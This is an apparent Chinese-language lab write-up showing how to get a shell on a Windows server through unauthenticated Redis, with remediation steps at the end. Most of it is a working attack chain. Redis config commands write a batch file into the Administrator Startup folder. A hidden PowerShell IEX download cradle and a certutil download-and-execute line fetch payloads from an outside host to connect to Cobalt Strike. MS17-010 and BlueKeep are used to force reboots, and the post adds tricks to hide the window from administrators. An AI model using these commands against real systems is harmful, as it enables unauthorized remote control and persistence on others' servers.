redis未授权--windows环境下的应用


redis未授权在windows环境下的应用

前言

Redis因配置不当可以未授权访问。攻击者无需认证访问到内部数据,可导致敏感信息泄露及RCE。
本文使用ms17010+redis组合getshell。administrator权限下通过写开机启动项脚本来实现getshell。


场景复现

靶机:winserver2008 R2x86 192.168.203.130
跳板机:kali 192.168.203.129

第一步:

nmap扫描发现靶机开启3389、445、6379端口,考虑0708、17010、redis未授权三个漏洞达到getshell的目的。

第二步:

直接打3389的cve-2019-0708漏洞,尝试多次均蓝屏未获取到权限。 TnT


第三步:

继续打445端口的ms17010漏洞,好家伙,直接蓝屏。之前是桥接打成功了,换成nat不成功了,不知道有关系没,玄学问题,先不管了。

之前打成功的截图:

第四步:

来到本文的正题->winserver服务器下利用redis未授权写入开机启动项,利用17010或0708(如果能getshell那就直接冲了)使其重启,达到命令执行的目的

  1. 靶机存在redis未授权,但为windows系统:

  2. 在默认开机启动项目录下创建一个bat脚本,写入命令,此处以执行whoami并在桌面新建txt为例,同理可直接上线CS(有坑)
    config set dir "C:/Users/Administrator/AppData/Roaming/Microsoft/Windows/Start Menu/Programs/startup/"
    +OK
    config set dbfilename update.bat
    +OK
    set shell2 "\r\n\r\nC:\Windows\System32\cmd.exe /c whoami >C:\Users\Administrator\Desktop\y.txt\r\n\r\n"
    或者
    set xx "\r\n\r\n powershell.exe -nop -w hidden -c "IEX ((new-object net.webclient).downloadstring('http://119.x.x.x:58086/a'))"\r\n\r\n"
    或者
    set x "\r\n\r\ncertutil -urlcache -split -f http://119.x.x.x/a.exe a.exe &start /b a.exe\r\n\r\n"
    以上3选1
    +OK
    save
    +OK

  3. 再次打蓝屏让其重启,成功执行命令:

下图为whoami写入开机启动项的截图:

下图为上线cs的命令写入开机启动项:

发现该命令框启动后一直挂在那,考虑到管理员重启后可能会发现,所以我们在exe前加一个start /b,至此命令行一闪而过并上线成功:


附踩过的几个坑

  1. winserver2008R2 x64默认不开启powershell的,需要手动安装功能启用,若未启用则不能使用powershell。但手动启用后在无AV情况下,报错,估计是环境问题吧,这种只能看运气了。


  2. redis里写命令要记得反斜杠是转义符,而且\r\n\r\n不能少:set xx “\r\n\r\nC:\Windows\System32\cmd.exe /c whoami > C:\Users\Administrator\Desktop\y.txt\r\n\r\n”

  3. 参考windows下载执行命令大全:
    其中有一些特殊字符,如‘%’等在redis-cli处转义并save后,开机自启路径下文件出现乱码(使用bitsadmin下载执行试了好久没成功)。总之环境问题,在没有杀软时,一个payload不行试试其他的。

  4. 以上操作均无杀软,通过命令行下载执行的cs上线方法大多会被杀(基于行为的),和下载的文件无关。个人掌握的免杀方法多需通过webshell上传后执行绕过,或许安装其他语言环境。如有大佬可以通过redis未授权绕过杀软的请指点下~

修复方案

  1. 设置密码访问认证,可通过修改redis.conf配置文件中的"requirepass" 设置复杂密码 (需要重启Redis服务才能生效);
  2. 对访问源IP进行访问控制,可在防火墙限定指定源ip才可以连接Redis服务器;
  3. 禁用config指令避免恶意操作,在Redis配置文件redis.conf中配置rename-command项"RENAME_CONFIG",这样即使存在未授权访问,也能够给攻击者使用config 指令加大难度;
  4. Redis使用普通用户权限,禁止使用 root 权限启动Redis 服务,这样可以保证在存在漏洞的情况下攻击者也只能获取到普通用户权限,无法获取root权限;
  5. redis.conf配置信息如下:
    bind 127.0.0.1 #设置为绑定本地IP地址
    rename-command config ""
    rename-command flushall ""
    rename-command flushdb ""
    rename-command eval ""
    requirepass XXXXXXX #设置密码

总结:在无杀软、administrator权限下起的redis,有办法把它打挂(或者等到它重启)的情况下。用此法可上线。